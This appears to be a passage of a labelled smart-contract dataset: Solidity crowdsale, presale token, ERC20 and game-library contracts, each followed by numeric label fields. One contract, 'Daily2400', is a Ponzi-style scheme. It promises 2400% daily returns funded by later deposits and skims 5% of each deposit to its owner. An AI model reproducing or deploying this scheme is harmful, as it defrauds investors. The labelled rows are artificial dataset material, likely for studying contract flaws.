uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
uint private bitlocks = 0;
modifier noReentrancy(uint m) {
var _locks = bitlocks;
if (_locks & m > 0) throw;
bitlocks |= m;
_;
bitlocks = _locks;
}
modifier noAnyReentrancy {
var _locks = bitlocks;
if (_locks > 0) throw;
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
modifier reentrant { _; }
}
contract MintableToken {
function mint(uint amount, address account);
function start();
}
contract Owned is Base {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract BalanceStorage {
function balances(address account) public constant returns(uint balance);
}
contract AddressList {
function contains(address addr) public constant returns (bool);
}
contract MinMaxWhiteList {
function allowed(address addr) public constant returns (uint , uint );
}
contract PresaleBonusVoting {
function rawVotes(address addr) public constant returns (uint rawVote);
}
contract CrowdsaleMinter is Owned {
string public constant VERSION = "0.2.1";
uint public constant COMMUNITY_SALE_START = 3973420;
uint public constant PRIORITY_SALE_START = 3978496;
uint public constant PUBLIC_SALE_START = 3983578;
uint public constant PUBLIC_SALE_END = 4130967;
uint public constant WITHDRAWAL_END = 4288520;
address public TEAM_GROUP_WALLET = 0xA0D8F33Ef9B44DaAE522531DD5E7252962b09207;
address public ADVISERS_AND_FRIENDS_WALLET = 0x44f145f6Bc36e51eED9b661e99C8b9CCF987c043;
uint public constant TEAM_BONUS_PER_CENT = 18;
uint public constant ADVISORS_AND_PARTNERS_PER_CENT = 10;
MintableToken public TOKEN = MintableToken(0x00000000000000000000000000);
AddressList public PRIORITY_ADDRESS_LIST = AddressList(0x9411Cf70F97C2ED09325e58629D48401aEd50F89);
MinMaxWhiteList public COMMUNITY_ALLOWANCE_LIST = MinMaxWhiteList(0xd2675d3ea478692ad34f09fa1f8bda67a9696bf7);
BalanceStorage public PRESALE_BALANCES = BalanceStorage(0x4Fd997Ed7c10DbD04e95d3730cd77D79513076F2);
PresaleBonusVoting public PRESALE_BONUS_VOTING = PresaleBonusVoting(0x283a97Af867165169AECe0b2E963b9f0FC7E5b8c);
uint public constant COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH = 45000;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 15000;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 45000;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 200;
uint public constant TOKEN_PER_ETH = 1000;
uint public constant PRE_SALE_BONUS_PER_CENT = 54;
function CrowdsaleMinter() {
if (
TOKEN_PER_ETH == 0
|| TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT >=100
|| MIN_ACCEPTED_AMOUNT_FINNEY < 1
|| owner == 0x0
|| address(COMMUNITY_ALLOWANCE_LIST) == 0x0
|| address(PRIORITY_ADDRESS_LIST) == 0x0
|| address(PRESALE_BONUS_VOTING) == 0x0
|| address(PRESALE_BALANCES) == 0x0
|| COMMUNITY_SALE_START == 0
|| PRIORITY_SALE_START == 0
|| PUBLIC_SALE_START == 0
|| PUBLIC_SALE_END == 0
|| WITHDRAWAL_END == 0
|| MIN_TOTAL_AMOUNT_TO_RECEIVE == 0
|| MAX_TOTAL_AMOUNT_TO_RECEIVE == 0
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP == 0
|| COMMUNITY_SALE_START <= block.number
|| COMMUNITY_SALE_START >= PRIORITY_SALE_START
|| PRIORITY_SALE_START >= PUBLIC_SALE_START
|| PUBLIC_SALE_START >= PUBLIC_SALE_END
|| PUBLIC_SALE_END >= WITHDRAWAL_END
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP > MAX_TOTAL_AMOUNT_TO_RECEIVE
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
}
bool public isAborted = false;
mapping (address => uint) public balances;
bool public TOKEN_STARTED = false;
uint public total_received_amount;
address[] public investors;
function investorsCount() constant external returns(uint) { return investors.length; }
function TOTAL_RECEIVED_ETH() constant external returns (uint) { return total_received_amount / 1 ether; }
function state() constant external returns (string) { return stateNames[ uint(currentState()) ]; }
function san_whitelist(address addr) public constant returns(uint, uint) { return COMMUNITY_ALLOWANCE_LIST.allowed(addr); }
function cfi_whitelist(address addr) public constant returns(bool) { return PRIORITY_ADDRESS_LIST.contains(addr); }
string[] private stateNames = ["BEFORE_START", "COMMUNITY_SALE", "PRIORITY_SALE", "PRIORITY_SALE_FINISHED", "PUBLIC_SALE", "BONUS_MINTING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, COMMUNITY_SALE, PRIORITY_SALE, PRIORITY_SALE_FINISHED, PUBLIC_SALE, BONUS_MINTING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint private constant COMMUNITY_PLUS_PRIORITY_SALE_CAP = COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH * 1 ether;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool private allBonusesAreMinted = false;
function ()
payable
noAnyReentrancy
{
State state = currentState();
uint amount_allowed;
if (state == State.COMMUNITY_SALE) {
var (min_finney, max_finney) = COMMUNITY_ALLOWANCE_LIST.allowed(msg.sender);
var (min, max) = (min_finney * 1 finney, max_finney * 1 finney);
var sender_balance = balances[msg.sender];
assert (sender_balance <= max);
assert (msg.value >= min);
amount_allowed = max - sender_balance;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PRIORITY_SALE) {
assert (PRIORITY_ADDRESS_LIST.contains(msg.sender));
amount_allowed = COMMUNITY_PLUS_PRIORITY_SALE_CAP - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PUBLIC_SALE) {
amount_allowed = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.REFUND_RUNNING) {
_sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noAnyReentrancy
{
_sendRefund();
}
function withdrawFundsAndStartToken() external
inState(State.WITHDRAWAL_RUNNING)
noAnyReentrancy
only(owner)
{
if (!owner.send(this.balance)) throw;
if (TOKEN.call(bytes4(sha3("start()")))) {
TOKEN_STARTED = true;
TokenStarted(TOKEN);
}
}
event TokenStarted(address tokenAddr);
function mintAllBonuses() external
inState(State.BONUS_MINTING)
noAnyReentrancy
{
assert(!allBonusesAreMinted);
allBonusesAreMinted = true;
uint TEAM_AND_PARTNERS_PER_CENT = TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT;
uint total_presale_amount_with_bonus = mintPresaleBonuses();
uint total_collected_amount = total_received_amount + total_presale_amount_with_bonus;
uint extra_amount = total_collected_amount * TEAM_AND_PARTNERS_PER_CENT / (100 - TEAM_AND_PARTNERS_PER_CENT);
uint extra_team_amount = extra_amount * TEAM_BONUS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
uint extra_partners_amount = extra_amount * ADVISORS_AND_PARTNERS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
uint total_to_mint = total_collected_amount + extra_amount;
uint round_remainder = total_to_mint - (total_to_mint / 1 ether * 1 ether);
extra_team_amount -= round_remainder;
_mint(extra_team_amount , TEAM_GROUP_WALLET);
_mint(extra_partners_amount, ADVISERS_AND_FRIENDS_WALLET);
}
function mintPresaleBonuses() internal returns(uint amount) {
uint total_presale_amount_with_bonus = 0;
for(uint i=0; i < PRESALE_ADDRESSES.length; ++i) {
address addr = PRESALE_ADDRESSES[i];
var amount_with_bonus = presaleTokenAmount(addr);
if (amount_with_bonus>0) {
_mint(amount_with_bonus, addr);
total_presale_amount_with_bonus += amount_with_bonus;
}
}
return total_presale_amount_with_bonus;
}
function presaleTokenAmount(address addr) public constant returns(uint){
uint presale_balance = PRESALE_BALANCES.balances(addr);
if (presale_balance > 0) {
var rawVote = PRESALE_BONUS_VOTING.rawVotes(addr);
if (rawVote == 0) rawVote = 1 ether;
else if (rawVote <= 10 finney) rawVote = 0;
else if (rawVote > 1 ether) rawVote = 1 ether;
var presale_bonus = presale_balance * PRE_SALE_BONUS_PER_CENT * rawVote / 1 ether / 100;
return presale_balance + presale_bonus;
} else {
return 0;
}
}
function attachToToken(MintableToken tokenAddr) external
inState(State.BEFORE_START)
only(owner)
{
TOKEN = tokenAddr;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
only(owner)
{
isAborted = true;
}
function _sendRefund() private
tokenHoldersOnly
{
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function _receiveFundsUpTo(uint amount) private
notTooSmallAmountOnly
{
require (amount > 0);
if (msg.value > amount) {
var change_to_return = msg.value - amount;
if (!msg.sender.send(change_to_return)) throw;
} else {
amount = msg.value;
}
if (balances[msg.sender] == 0) investors.push(msg.sender);
balances[msg.sender] += amount;
total_received_amount += amount;
_mint(amount,msg.sender);
}
function _mint(uint amount, address account) private {
MintableToken(TOKEN).mint(amount * TOKEN_PER_ETH, account);
}
function currentState() private constant
returns (State)
{
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < COMMUNITY_SALE_START || address(TOKEN) == 0x0) {
return State.BEFORE_START;
} else if (block.number < PRIORITY_SALE_START) {
return State.COMMUNITY_SALE;
} else if (block.number < PUBLIC_SALE_START) {
return total_received_amount < COMMUNITY_PLUS_PRIORITY_SALE_CAP
? State.PRIORITY_SALE
: State.PRIORITY_SALE_FINISHED;
} else if (block.number <= PUBLIC_SALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PUBLIC_SALE;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return allBonusesAreMinted
? State.WITHDRAWAL_RUNNING
: State.BONUS_MINTING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
address[] PRESALE_ADDRESSES = [
0xF55DFd2B02Cf3282680C94BD01E9Da044044E6A2,
0x0D40B53828948b340673674Ae65Ee7f5D8488e33,
0x0ea690d466d6bbd18F124E204EA486a4Bf934cbA,
0x6d25B9f40b92CcF158250625A152574603465192,
0x481Da0F1e89c206712BCeA4f7D6E60d7b42f6C6C,
0x416EDa5D6Ed29CAc3e6D97C102d61BC578C5dB87,
0xD78Ac6FFc90E084F5fD563563Cc9fD33eE303f18,
0xe6714ab523acEcf9b85d880492A2AcDBe4184892,
0x285A9cA5fE9ee854457016a7a5d3A3BB95538093,
0x600ca6372f312B081205B2C3dA72517a603a15Cc,
0x2b8d5C9209fBD500Fd817D960830AC6718b88112,
0x4B15Dd23E5f9062e4FB3a9B7DECF653C0215e560,
0xD67449e6AB23c1f46dea77d3f5E5D47Ff33Dc9a9,
0xd0ADaD7ed81AfDa039969566Ceb8423E0ab14d90,
0x245f27796a44d7E3D30654eD62850ff09EE85656,
0x639D6eC2cef4d6f7130b40132B3B6F5b667e5105,
0x5e9a69B8656914965d69d8da49c3709F0bF2B5Ef,
0x0832c3B801319b62aB1D3535615d1fe9aFc3397A,
0xf6Dd631279377205818C3a6725EeEFB9D0F6b9F3,
0x47696054e71e4c3f899119601a255a7065C3087B,
0xf107bE6c6833f61A24c64D63c8A7fcD784Abff06,
0x056f072Bd2240315b708DBCbDDE80d400f0394a1,
0x9e5BaeC244D8cCD49477037E28ed70584EeAD956,
0x40A0b2c1B4E30F27e21DF94e734671856b485966,
0x84f0620A547a4D14A7987770c4F5C25d488d6335,
0x036Ac11c161C09d94cA39F7B24C1bC82046c332B,
0x2912A18C902dE6f95321D6d6305D7B80Eec4C055,
0xE1Ad30971b83c17E2A24c0334CB45f808AbEBc87,
0x07f35b7FE735c49FD5051D5a0C2e74c9177fEa6d,
0x11669Cce6AF3ce1Ef3777721fCC0eef0eE57Eaba,
0xBDbaF6434d40D6355B1e80e40Cc4AB9C68D96116,
0x17125b59ac51cEe029E4bD78D7f5947D1eA49BB2,
0xA382A3A65c3F8ee2b726A2535B3c34A89D9094D4,
0xAB78c8781fB64Bed37B274C5EE759eE33465f1f3,
0xE74F2062612E3cAE8a93E24b2f0D3a2133373884,
0x505120957A9806827F8F111A123561E82C40bC78,
0x00A46922B1C54Ae6b5818C49B97E03EB4BB352e1,
0xE76fE52a251C8F3a5dcD657E47A6C8D16Fdf4bFA
];
} | 0 | 2,523 |
pragma solidity ^0.4.24;
contract Daily2400 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 2400;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,656 |
pragma solidity ^0.4.11;
contract ATP {
string public constant name = "ATL Presale Token";
string public constant symbol = "ATP";
uint public constant decimals = 18;
uint public constant PRICE = 505;
uint public constant TOKEN_SUPPLY_LIMIT = 2812500 * (1 ether / 1 wei);
enum Phase {
Created,
Running,
Paused,
Migrating,
Migrated
}
Phase public currentPhase = Phase.Created;
address public tokenManager;
address public escrow;
address public crowdsaleManager;
uint public totalSupply = 0;
mapping (address => uint256) private balances;
event Buy(address indexed buyer, uint amount);
event Burn(address indexed owner, uint amount);
event PhaseSwitch(Phase newPhase);
function ATP(address _tokenManager, address _escrow) {
tokenManager = _tokenManager;
escrow = _escrow;
}
function() payable {
buyTokens(msg.sender);
}
function buyTokens(address _buyer) public payable {
require(currentPhase == Phase.Running);
require(msg.value != 0);
uint tokenAmount = msg.value * PRICE;
require(totalSupply + tokenAmount <= TOKEN_SUPPLY_LIMIT);
balances[_buyer] += tokenAmount;
totalSupply += tokenAmount;
Buy(_buyer, tokenAmount);
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
modifier onlyTokenManager() {
require(msg.sender == tokenManager);
_;
}
function setPresalePhase(Phase _nextPhase) public onlyTokenManager {
bool canSwitchPhase
= (currentPhase == Phase.Created && _nextPhase == Phase.Running)
|| (currentPhase == Phase.Running && _nextPhase == Phase.Paused)
|| ((currentPhase == Phase.Running || currentPhase == Phase.Paused)
&& _nextPhase == Phase.Migrating
&& crowdsaleManager != 0x0)
|| (currentPhase == Phase.Paused && _nextPhase == Phase.Running)
|| (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated
&& totalSupply == 0);
require(canSwitchPhase);
currentPhase = _nextPhase;
PhaseSwitch(_nextPhase);
}
function setCrowdsaleManager(address _mgr) public onlyTokenManager {
require(currentPhase != Phase.Migrating);
crowdsaleManager = _mgr;
}
function withdrawEther() public onlyTokenManager {
if(this.balance > 0) {
escrow.transfer(this.balance);
}
}
modifier onlyCrowdsaleManager() {
require(msg.sender == crowdsaleManager);
_;
}
function burnTokens(address _owner) public onlyCrowdsaleManager {
require(currentPhase == Phase.Migrating);
uint tokens = balances[_owner];
require(tokens > 0);
balances[_owner] = 0;
totalSupply -= tokens;
Burn(_owner, tokens);
if(totalSupply == 0) {
currentPhase = Phase.Migrated;
PhaseSwitch(Phase.Migrated);
}
}
} | 1 | 4,308 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract GambangCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function GambangCoin() public {
symbol = "GMBC";
name = "GambangCoin";
decimals = 3;
_totalSupply = 99999999000;
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,988 |
library OwnershipTypes{
using Serializer for Serializer.DataComponent;
struct Ownership
{
address m_Owner;
uint32 m_OwnerInventoryIndex;
}
function SerializeOwnership(Ownership ownership) internal pure returns (bytes32)
{
Serializer.DataComponent memory data;
data.WriteAddress(0, ownership.m_Owner);
data.WriteUint32(20, ownership.m_OwnerInventoryIndex);
return data.m_Raw;
}
function DeserializeOwnership(bytes32 raw) internal pure returns (Ownership)
{
Ownership memory ownership;
Serializer.DataComponent memory data;
data.m_Raw = raw;
ownership.m_Owner = data.ReadAddress(0);
ownership.m_OwnerInventoryIndex = data.ReadUint32(20);
return ownership;
}
}
library LibStructs{
using Serializer for Serializer.DataComponent;
struct Hero {
uint16 stockID;
uint8 rarity;
uint16 hp;
uint16 atk;
uint16 def;
uint16 agi;
uint16 intel;
uint16 cHp;
uint8 isForSale;
uint8 lvl;
uint16 xp;
}
struct StockHero {uint16 price;uint8 stars;uint8 mainOnePosition;uint8 mainTwoPosition;uint16 stock;uint8 class;}
function SerializeHero(Hero hero) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, hero.stockID);
data.WriteUint8(2, hero.rarity);
data.WriteUint16(4, hero.hp);
data.WriteUint16(6, hero.atk);
data.WriteUint16(8, hero.def);
data.WriteUint16(10, hero.agi);
data.WriteUint16(12, hero.intel);
data.WriteUint16(14, hero.cHp);
data.WriteUint8(20, hero.isForSale);
data.WriteUint8(21, hero.lvl);
data.WriteUint16(23, hero.xp);
return data.m_Raw;
}
function DeserializeHero(bytes32 raw) internal pure returns (Hero){
Hero memory hero;
Serializer.DataComponent memory data;
data.m_Raw = raw;
hero.stockID = data.ReadUint16(0);
hero.rarity = data.ReadUint8(2);
hero.hp = data.ReadUint16(4);
hero.atk = data.ReadUint16(6);
hero.def = data.ReadUint16(8);
hero.agi = data.ReadUint16(10);
hero.intel = data.ReadUint16(12);
hero.cHp = data.ReadUint16(14);
hero.isForSale = data.ReadUint8(20);
hero.lvl = data.ReadUint8(21);
hero.xp = data.ReadUint16(23);
return hero;
}
function SerializeStockHero(StockHero stockhero) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, stockhero.price);
data.WriteUint8(2, stockhero.stars);
data.WriteUint8(3, stockhero.mainOnePosition);
data.WriteUint8(4, stockhero.mainTwoPosition);
data.WriteUint16(5, stockhero.stock);
data.WriteUint8(7, stockhero.class);
return data.m_Raw;
}
function DeserializeStockHero(bytes32 raw) internal pure returns (StockHero){
StockHero memory stockhero;
Serializer.DataComponent memory data;
data.m_Raw = raw;
stockhero.price = data.ReadUint16(0);
stockhero.stars = data.ReadUint8(2);
stockhero.mainOnePosition = data.ReadUint8(3);
stockhero.mainTwoPosition = data.ReadUint8(4);
stockhero.stock = data.ReadUint16(5);
stockhero.class = data.ReadUint8(7);
return stockhero;
}
struct Item {
uint16 stockID;
uint8 lvl;
uint8 rarity;
uint16 hp;
uint16 atk;
uint16 def;
uint16 agi;
uint16 intel;
uint8 critic;
uint8 healbonus;
uint8 atackbonus;
uint8 defensebonus;
uint8 isForSale;
uint8 grade;
}
struct StockItem {uint16 price;uint8 stars;uint8 lvl;uint8 mainOnePosition;uint8 mainTwoPosition;uint16[5] stats;uint8[4] secstats;uint8 cat;uint8 subcat;}
function SerializeItem(Item item) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, item.stockID);
data.WriteUint8(4, item.lvl);
data.WriteUint8(5, item.rarity);
data.WriteUint16(6, item.hp);
data.WriteUint16(8, item.atk);
data.WriteUint16(10, item.def);
data.WriteUint16(12, item.agi);
data.WriteUint16(14, item.intel);
data.WriteUint8(16, item.critic);
data.WriteUint8(17, item.healbonus);
data.WriteUint8(18, item.atackbonus);
data.WriteUint8(19, item.defensebonus);
data.WriteUint8(20, item.isForSale);
data.WriteUint8(21, item.grade);
return data.m_Raw;
}
function DeserializeItem(bytes32 raw) internal pure returns (Item){
Item memory item;
Serializer.DataComponent memory data;
data.m_Raw = raw;
item.stockID = data.ReadUint16(0);
item.lvl = data.ReadUint8(4);
item.rarity = data.ReadUint8(5);
item.hp = data.ReadUint16(6);
item.atk = data.ReadUint16(8);
item.def = data.ReadUint16(10);
item.agi = data.ReadUint16(12);
item.intel = data.ReadUint16(14);
item.critic = data.ReadUint8(16);
item.healbonus = data.ReadUint8(17);
item.atackbonus = data.ReadUint8(18);
item.defensebonus = data.ReadUint8(19);
item.isForSale = data.ReadUint8(20);
item.grade = data.ReadUint8(21);
return item;
}
function SerializeStockItem(StockItem stockitem) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, stockitem.price);
data.WriteUint8(2, stockitem.stars);
data.WriteUint8(3, stockitem.lvl);
data.WriteUint8(4, stockitem.mainOnePosition);
data.WriteUint8(5, stockitem.mainTwoPosition);
data.WriteUint16(6, stockitem.stats[0]);
data.WriteUint16(8, stockitem.stats[1]);
data.WriteUint16(10, stockitem.stats[2]);
data.WriteUint16(12, stockitem.stats[3]);
data.WriteUint16(14, stockitem.stats[4]);
data.WriteUint8(16, stockitem.secstats[0]);
data.WriteUint8(17, stockitem.secstats[1]);
data.WriteUint8(18, stockitem.secstats[2]);
data.WriteUint8(19, stockitem.secstats[3]);
data.WriteUint8(20, stockitem.cat);
data.WriteUint8(21, stockitem.subcat);
return data.m_Raw;
}
function DeserializeStockItem(bytes32 raw) internal pure returns (StockItem){
StockItem memory stockitem;
Serializer.DataComponent memory data;
data.m_Raw = raw;
stockitem.price = data.ReadUint16(0);
stockitem.stars = data.ReadUint8(2);
stockitem.lvl = data.ReadUint8(3);
stockitem.mainOnePosition = data.ReadUint8(4);
stockitem.mainTwoPosition = data.ReadUint8(5);
stockitem.stats[0] = data.ReadUint16(6);
stockitem.stats[1] = data.ReadUint16(8);
stockitem.stats[2] = data.ReadUint16(10);
stockitem.stats[3] = data.ReadUint16(12);
stockitem.stats[4] = data.ReadUint16(14);
stockitem.secstats[0] = data.ReadUint8(16);
stockitem.secstats[1] = data.ReadUint8(17);
stockitem.secstats[2] = data.ReadUint8(18);
stockitem.secstats[3] = data.ReadUint8(19);
stockitem.cat = data.ReadUint8(20);
stockitem.subcat = data.ReadUint8(21);
return stockitem;
}
struct Action {uint16 actionID;uint8 actionType;uint16 finneyCost;uint32 cooldown;uint8 lvl;uint8 looted;uint8 isDaily;}
function SerializeAction(Action action) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, action.actionID);
data.WriteUint8(2, action.actionType);
data.WriteUint16(3, action.finneyCost);
data.WriteUint32(5, action.cooldown);
data.WriteUint8(9, action.lvl);
data.WriteUint8(10, action.looted);
data.WriteUint8(11, action.isDaily);
return data.m_Raw;
}
function DeserializeAction(bytes32 raw) internal pure returns (Action){
Action memory action;
Serializer.DataComponent memory data;
data.m_Raw = raw;
action.actionID = data.ReadUint16(0);
action.actionType = data.ReadUint8(2);
action.finneyCost = data.ReadUint16(3);
action.cooldown = data.ReadUint32(5);
action.lvl = data.ReadUint8(9);
action.looted = data.ReadUint8(10);
action.isDaily = data.ReadUint8(11);
return action;
}
struct Mission {uint8 dificulty;uint16[4] stockitemId_drops;uint16[5] statsrequired;uint16 count;}
function SerializeMission(Mission mission) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint8(0, mission.dificulty);
data.WriteUint16(1, mission.stockitemId_drops[0]);
data.WriteUint16(5, mission.stockitemId_drops[1]);
data.WriteUint16(9, mission.stockitemId_drops[2]);
data.WriteUint16(13, mission.stockitemId_drops[3]);
data.WriteUint16(15, mission.statsrequired[0]);
data.WriteUint16(17, mission.statsrequired[1]);
data.WriteUint16(19, mission.statsrequired[2]);
data.WriteUint16(21, mission.statsrequired[3]);
data.WriteUint16(23, mission.statsrequired[4]);
data.WriteUint16(25, mission.count);
return data.m_Raw;
}
function DeserializeMission(bytes32 raw) internal pure returns (Mission){
Mission memory mission;
Serializer.DataComponent memory data;
data.m_Raw = raw;
mission.dificulty = data.ReadUint8(0);
mission.stockitemId_drops[0] = data.ReadUint16(1);
mission.stockitemId_drops[1] = data.ReadUint16(5);
mission.stockitemId_drops[2] = data.ReadUint16(9);
